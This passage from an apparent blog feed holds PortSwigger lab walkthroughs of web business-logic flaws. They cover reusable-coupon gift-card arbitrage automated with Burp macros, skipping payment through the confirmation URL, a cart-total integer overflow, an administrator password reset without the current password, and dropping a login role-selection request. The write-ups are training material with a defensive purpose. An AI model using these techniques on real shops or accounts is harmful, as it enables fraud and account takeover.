    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="business-logic" scheme="https://blog.nhhoang.io.vn/tags/business-logic/"/>
    
  </entry>
  
  <entry>
    <title>Infinite money logic flaw</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-infinite-money/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-infinite-money/</id>
    <published>2026-07-09T08:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>A reusable discount makes a gift card cost less than the credit received when it is redeemed. Repeating the purchase-and-redeem cycle increases the account balance.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-infinite-money/step-1.png" alt="Lab overview shows the `SIGNUP30` gift-card arbitrage: pay $7 for $10 of redeemable credit."><figcaption>Lab overview shows the `SIGNUP30` gift-card arbitrage: pay $7 for $10 of redeemable credit.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>This intentionally vulnerable Academy exercise isolates infinite money logic flaw. The supplied accounts and endpoints are used to reproduce only the source note evidence for infinite money logic flaw; all request changes remain inside this Academy instance.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Newsletter registration reveals the reusable <code>SIGNUP30</code> voucher. In the lab, it reduces a $10 gift card to $7, while redeeming the purchased code adds the full $10 to the account. The recorded balance change from $100 to $103 proves a positive-value cycle, and the coupon remains valid on the next purchase.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-infinite-money/step-2.png" alt="Newsletter signup response reveals reusable coupon code `SIGNUP30`."><figcaption>Newsletter signup response reveals reusable coupon code `SIGNUP30`.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-infinite-money/step-3.png" alt="Product listing shows the $10 gift card used as the stored-value instrument."><figcaption>Product listing shows the $10 gift card used as the stored-value instrument.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-infinite-money/step-4.png" alt="Cart applies `SIGNUP30` and reduces the $10 gift card checkout price to $7."><figcaption>Cart applies `SIGNUP30` and reduces the $10 gift card checkout price to $7.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-infinite-money/step-5.png" alt="`/cart/order-confirmation` response returns a newly issued gift-card code after the discounted purchase."><figcaption>`/cart/order-confirmation` response returns a newly issued gift-card code after the discounted purchase.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Individually valid promotions and stored-value operations create an arbitrage loop because the application does not enforce one-time use or prevent positive-value cycles.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Subscribe to the newsletter to obtain <code>SIGNUP30</code>, add the $10 gift card to the cart, apply the voucher, and complete checkout for $7.</li><li>Redeem the returned gift-card code and verify that the balance rises by $10, producing a net $3 gain. Reapply <code>SIGNUP30</code> to confirm it is not invalidated after use.</li><li>Create a Burp session macro covering the recorded sequence: add the gift card, apply the coupon, check out, request <code>/cart/order-confirmation</code>, extract the newly issued gift-card code from that response, and submit it to <code>/gift-card</code> for redemption.</li><li>Attach the macro to an Intruder-driven session rule so each iteration runs the complete purchase-and-redeem workflow. The source note records roughly 400 iterations to approach the $1,337 jacket price.</li><li>Once the lab balance is sufficient, purchase the <code>Lightweight l33t leather jacket</code> and confirm the Academy completion state.</li></ol><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-infinite-money/step-6.png" alt="Account balance rises from $100 to $103 after redeeming $10 of credit, and `SIGNUP30` remains accepted."><figcaption>Account balance rises from $100 to $103 after redeeming $10 of credit, and `SIGNUP30` remains accepted.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-infinite-money/step-7.png" alt="Burp session macro lists the add-card, apply-coupon, checkout, confirmation, and redeem requests."><figcaption>Burp session macro lists the add-card, apply-coupon, checkout, confirmation, and redeem requests.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-infinite-money/step-8.png" alt="Burp macro configuration orders `/cart`, `/cart/coupon`, checkout, confirmation, and `/gift-card` redemption."><figcaption>Burp macro configuration orders `/cart`, `/cart/coupon`, checkout, confirmation, and `/gift-card` redemption.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-infinite-money/step-9.png" alt="Macro item for `/cart/order-confirmation` selects the response containing the issued gift-card code."><figcaption>Macro item for `/cart/order-confirmation` selects the response containing the issued gift-card code.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-infinite-money/step-10.png" alt="Burp custom parameter extraction rule marks the gift-card code substring in `/cart/order-confirmation`."><figcaption>Burp custom parameter extraction rule marks the gift-card code substring in `/cart/order-confirmation`.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-infinite-money/step-11.png" alt="Macro request to `/gift-card` inserts the extracted code into the redemption parameter."><figcaption>Macro request to `/gift-card` inserts the extracted code into the redemption parameter.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-infinite-money/step-12.png" alt="Intruder results show hundreds of macro-driven cycles increasing the account balance toward $1,337."><figcaption>Intruder results show hundreds of macro-driven cycles increasing the account balance toward $1,337.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-infinite-money/step-13.png" alt="Cart checkout uses the accumulated credit to purchase the Lightweight l33t leather jacket."><figcaption>Cart checkout uses the accumulated credit to purchase the Lightweight l33t leather jacket.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the infinite money logic flaw exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-infinite-money/step-14.png" alt="Final response marks the infinite-money lab solved after the gift-card macro generated sufficient jacket balance."><figcaption>Final response marks the infinite-money lab solved after the gift-card macro generated sufficient jacket balance.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>The defect is an arbitrage loop composed of individually valid operations: a reusable discount lowers acquisition cost below redemption value. Voucher redemption must be scoped and invalidated as intended, stored-value issuance and redemption should be checked as one economic workflow, and monitoring should detect repeated same-account purchase&#x2F;redemption cycles even when every database transaction is syntactically valid.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-infinite-money">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">A PortSwigger business-logic lab walkthrough automating the reusable SIGNUP30 gift-card arbitrage with a Burp macro and Intruder.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Business Logic" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Business-Logic/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="business-logic" scheme="https://blog.nhhoang.io.vn/tags/business-logic/"/>
    
  </entry>
  
  <entry>
    <title>Insufficient workflow validation</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-insufficient-workflow-validation/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-insufficient-workflow-validation/</id>
    <published>2026-07-09T05:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>A later checkout endpoint can be invoked without completing the preceding payment state, and the server accepts the out-of-sequence transition.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-insufficient-workflow-validation/step-1.png" alt="Lab overview identifies `order-confirmed=true` as a client-reachable confirmation state not bound to successful payment."><figcaption>Lab overview identifies `order-confirmed=true` as a client-reachable confirmation state not bound to successful payment.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>This intentionally vulnerable Academy exercise isolates insufficient workflow validation. The supplied accounts and endpoints are used to reproduce only the source note evidence for insufficient workflow validation; all request changes remain inside this Academy instance.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The baseline capture for insufficient workflow validation establishes the intended request and response before any mutation. Subsequent replays isolate the input or state transition responsible for insufficient workflow validation, and the response evidence shows exactly when the lab accepts the unintended behavior.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-insufficient-workflow-validation/step-2.png" alt="Checkout of a cheap product establishes the normal payment request before order confirmation."><figcaption>Checkout of a cheap product establishes the normal payment request before order confirmation.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The server validates individual requests but not the permitted state transition for the current order.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Capture the baseline request for insufficient workflow validation and record the response that represents the intended lab workflow.</li><li>Replay the recorded mutation that exposes insufficient workflow validation, keeping the session and other fields unchanged.</li><li>Confirm the insufficient workflow validation signal in the response before applying the next source-documented operation.</li><li>Complete the Academy objective using only the confirmed insufficient workflow validation behavior and the supplied synthetic account or product data.</li></ol><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-insufficient-workflow-validation/step-3.png" alt="Browser history shows `/cart/checkout` redirecting to `/cart/order-confirmation?order-confirmed=true` after a legitimate purchase."><figcaption>Browser history shows `/cart/checkout` redirecting to `/cart/order-confirmation?order-confirmed=true` after a legitimate purchase.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-insufficient-workflow-validation/step-4.png" alt="Cart contains the Lightweight l33t leather jacket before navigating directly to the confirmation URL and skipping checkout."><figcaption>Cart contains the Lightweight l33t leather jacket before navigating directly to the confirmation URL and skipping checkout.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the insufficient workflow validation exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-insufficient-workflow-validation/step-5.png" alt="Order confirmation and Academy solved banner show the server accepted the client-selected confirmed state without payment."><figcaption>Order confirmation and Academy solved banner show the server accepted the client-selected confirmed state without payment.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>The evidence demonstrates the concrete risk of insufficient workflow validation: a server-side trust decision can be bypassed through the exact input or workflow shown in this lab. For insufficient workflow validation, the server must enforce the exact invariant violated in the captured sequence and regression-test that mutation alongside the normal path.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">A later checkout endpoint can be invoked without completing the preceding payment state, and the server accepts the out-of-sequence transition.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Business Logic" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Business-Logic/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="business-logic" scheme="https://blog.nhhoang.io.vn/tags/business-logic/"/>
    
  </entry>
  
  <entry>
    <title>Low-level logic flaw</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-low-level/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-low-level/</id>
    <published>2026-07-09T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>Repeating <code>quantity=99</code> additions drives the cent-denominated cart total past signed 32-bit <code>INT_MAX</code>. The wrapped negative total can then be tuned below the $100 balance.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-low-level/step-1.png" alt="Lab overview identifies 32-bit signed integer overflow in accumulated cart prices."><figcaption>Lab overview identifies 32-bit signed integer overflow in accumulated cart prices.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>This intentionally vulnerable Academy exercise isolates low-level logic flaw. The supplied accounts and endpoints are used to reproduce only the source note evidence for low-level logic flaw; all request changes remain inside this Academy instance.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Repeating <code>quantity=99</code> additions drives the cent-denominated cart total past signed 32-bit <code>INT_MAX</code>. The wrapped negative total can then be tuned below the $100 balance.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-low-level/step-2.png" alt="Normal add-to-cart flow establishes the jacket product and baseline quantity behavior."><figcaption>Normal add-to-cart flow establishes the jacket product and baseline quantity behavior.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-low-level/step-3.png" alt="Request decreases the same product with a negative quantity, which the cart accepts for an existing line."><figcaption>Request decreases the same product with a negative quantity, which the cart accepts for an existing line.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-low-level/step-4.png" alt="Request attempts a negative quantity for a different product to test cross-product offsetting."><figcaption>Request attempts a negative quantity for a different product to test cross-product offsetting.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-low-level/step-5.png" alt="Cart response rejects the negative quantity for the different product, closing the simple offset path."><figcaption>Cart response rejects the negative quantity for the different product, closing the simple offset path.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Arithmetic performed in a bounded numeric type can overflow unless ranges and final totals are checked safely.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Capture the baseline request for low-level logic flaw and record the response that represents the intended lab workflow.</li><li>Replay the recorded mutation that exposes low-level logic flaw, keeping the session and other fields unchanged.</li><li>Confirm the low-level logic flaw signal in the response before applying the next source-documented operation.</li><li>Complete the Academy objective using only the confirmed low-level logic flaw behavior and the supplied synthetic account or product data.</li></ol><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-low-level/step-6.png" alt="Burp request attempts `quantity=1000` in one add-to-cart operation."><figcaption>Burp request attempts `quantity=1000` in one add-to-cart operation.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-low-level/step-7.png" alt="Application response enforces a per-request maximum quantity of 99."><figcaption>Application response enforces a per-request maximum quantity of 99.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-low-level/step-8.png" alt="Intruder configuration repeats `quantity=99` additions 324 times for the selected product."><figcaption>Intruder configuration repeats `quantity=99` additions 324 times for the selected product.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-low-level/step-9.png" alt="Intruder results show the repeated add-to-cart requests used to accumulate 30,492 units."><figcaption>Intruder results show the repeated add-to-cart requests used to accumulate 30,492 units.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-low-level/step-10.png" alt="Cart total wraps past signed `INT_MAX` and is rendered as a negative monetary amount."><figcaption>Cart total wraps past signed `INT_MAX` and is rendered as a negative monetary amount.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-low-level/step-11.png" alt="Quantity adjustments bring the wrapped total to approximately negative $1,221.96."><figcaption>Quantity adjustments bring the wrapped total to approximately negative $1,221.96.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-low-level/step-12.png" alt="Cart contains the jacket plus balancing products with a final positive total no greater than $100."><figcaption>Cart contains the jacket plus balancing products with a final positive total no greater than $100.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the low-level logic flaw exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-low-level/step-13.png" alt="Order confirmation and Academy solved banner show checkout succeeded after the integer-wrapped total was tuned."><figcaption>Order confirmation and Academy solved banner show checkout succeeded after the integer-wrapped total was tuned.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>The evidence demonstrates the concrete risk of low-level logic flaw: a server-side trust decision can be bypassed through the exact input or workflow shown in this lab. For low-level logic flaw, the server must enforce the exact invariant violated in the captured sequence and regression-test that mutation alongside the normal path.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-low-level">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Large quantity changes cause the cart total to cross an integer boundary, producing a value that permits checkout despite the real cost.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Business Logic" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Business-Logic/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="business-logic" scheme="https://blog.nhhoang.io.vn/tags/business-logic/"/>
    
  </entry>
  
  <entry>
    <title>Weak isolation on dual-use endpoint</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-weak-isolation-on-dual-use-endpoint/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-weak-isolation-on-dual-use-endpoint/</id>
    <published>2026-07-08T23:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>A dual-purpose account endpoint applies weaker checks in one mode, allowing a sensitive operation without the authentication context expected by the other mode.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-weak-isolation-on-dual-use-endpoint/step-1.png" alt="Lab overview identifies `/my-account/change-password` as a dual-use self-service and administrative reset endpoint."><figcaption>Lab overview identifies `/my-account/change-password` as a dual-use self-service and administrative reset endpoint.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>This intentionally vulnerable Academy exercise isolates weak isolation on dual-use endpoint. The supplied accounts and endpoints are used to reproduce only the source note evidence for weak isolation on dual-use endpoint; all request changes remain inside this Academy instance.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The baseline capture for weak isolation on dual-use endpoint establishes the intended request and response before any mutation. Subsequent replays isolate the input or state transition responsible for weak isolation on dual-use endpoint, and the response evidence shows exactly when the lab accepts the unintended behavior.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-weak-isolation-on-dual-use-endpoint/step-2.png" alt="`POST /my-account/change-password` exposes client-controlled `username`, `current-password`, and new-password fields."><figcaption>`POST /my-account/change-password` exposes client-controlled `username`, `current-password`, and new-password fields.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-weak-isolation-on-dual-use-endpoint/step-3.png" alt="Changing `username` to `administrator` while supplying an incorrect current password returns a validation error."><figcaption>Changing `username` to `administrator` while supplying an incorrect current password returns a validation error.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Combining privileged and ordinary operations in one handler creates branches with inconsistent authentication requirements.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Capture the baseline request for weak isolation on dual-use endpoint and record the response that represents the intended lab workflow.</li><li>Replay the recorded mutation that exposes weak isolation on dual-use endpoint, keeping the session and other fields unchanged.</li><li>Confirm the weak isolation on dual-use endpoint signal in the response before applying the next source-documented operation.</li><li>Complete the Academy objective using only the confirmed weak isolation on dual-use endpoint behavior and the supplied synthetic account or product data.</li></ol><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-weak-isolation-on-dual-use-endpoint/step-4.png" alt="Modified request targets `administrator` and removes the `current-password` parameter entirely."><figcaption>Modified request targets `administrator` and removes the `current-password` parameter entirely.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-weak-isolation-on-dual-use-endpoint/step-5.png" alt="Password-change response accepts the missing-current-password branch and resets the administrator credential."><figcaption>Password-change response accepts the missing-current-password branch and resets the administrator credential.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the weak isolation on dual-use endpoint exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-weak-isolation-on-dual-use-endpoint/step-6.png" alt="Administrator login exposes the admin panel, where deleting `carlos` produces the Academy solved response."><figcaption>Administrator login exposes the admin panel, where deleting `carlos` produces the Academy solved response.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>The evidence demonstrates the concrete risk of weak isolation on dual-use endpoint: a server-side trust decision can be bypassed through the exact input or workflow shown in this lab. For weak isolation on dual-use endpoint, the server must enforce the exact invariant violated in the captured sequence and regression-test that mutation alongside the normal path.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-weak-isolation-on-dual-use-endpoint">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">A dual-purpose account endpoint applies weaker checks in one mode, allowing a sensitive operation without the authentication context expected by the other mode.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Business Logic" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Business-Logic/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="business-logic" scheme="https://blog.nhhoang.io.vn/tags/business-logic/"/>
    
  </entry>
  
  <entry>
    <title>Authentication Bypass via a Flawed State Machine</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-authentication-bypass-via-flawed-state-machine/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-authentication-bypass-via-flawed-state-machine/</id>
    <published>2026-07-08T20:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough applies only to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test workflow manipulation only on systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab demonstrates an authentication state machine that assumes every user will complete its transitions in the intended order. Login includes a role-selection step, but if its request is dropped, the server retains an unsafe default state and the resulting session receives administrative access.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-authentication-bypass-via-flawed-state-machine/step-1.png" alt="Lab overview diagrams `POST /login/role-selector` as the login state-machine transition that can be skipped."><figcaption>Lab overview diagrams `POST /login/role-selector` as the login state-machine transition that can be skipped.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>The objective is to sign in with the supplied account, reach the administrative panel, and delete <code>carlos</code>. Burp Suite is used to observe the multi-step login flow and interrupt the request to <code>POST /login/role-selector</code>.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>After the username and password stages, the application displayed an unusual page requiring a choice between the <code>user</code> and <code>admin</code> roles.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-authentication-bypass-via-flawed-state-machine/step-2.png" alt="Post-login page presents the unusual role selector after valid username and password authentication."><figcaption>Post-login page presents the unusual role selector after valid username and password authentication.</figcaption></figure><p>The page offered both role values directly, making the transition worth examining while Burp interception was enabled.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-authentication-bypass-via-flawed-state-machine/step-3.png" alt="Role selector exposes both `user` and `admin` choices before the session state is finalized."><figcaption>Role selector exposes both `user` and `admin` choices before the session state is finalized.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The server treats the expected browser sequence as though it were guaranteed. In this lab session, dropping the role-selection transition left the resulting session with administrative access. This is consistent with unsafe retained or default state, but the browser-side evidence does not establish the backend’s exact initialization logic. The demonstrated failure is that an incomplete workflow is accepted without a fresh authorization decision.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Enable Burp interception and log in with the credentials supplied by the Academy.</li><li>Forward the login requests until Burp captures <code>POST /login/role-selector</code>.</li><li>Drop that request instead of forwarding a selected role.</li></ol><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-authentication-bypass-via-flawed-state-machine/step-4.png" alt="Burp Proxy intercepts `POST /login/role-selector`, the request that is dropped instead of submitting a role."><figcaption>Burp Proxy intercepts `POST /login/role-selector`, the request that is dropped instead of submitting a role.</figcaption></figure><ol start="4"><li>Return to the site. The session now exposes the administrative panel despite the role-selection step never completing.</li></ol><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-authentication-bypass-via-flawed-state-machine/step-5.png" alt="Reloaded application exposes the admin panel because the skipped transition leaves the session in its default admin state."><figcaption>Reloaded application exposes the admin panel because the skipped transition leaves the session in its default admin state.</figcaption></figure><ol start="5"><li>Use the panel’s delete action for the synthetic user <code>carlos</code>.</li></ol><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The Academy displayed its solved state after Carlos was deleted. The critical evidence is that omitting one expected request did not invalidate the login; instead, the resulting session retained administrative privileges.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-authentication-bypass-via-flawed-state-machine/step-6.png" alt="Admin panel deletion of `carlos` produces the Academy solved response."><figcaption>Admin panel deletion of `carlos` produces the Academy 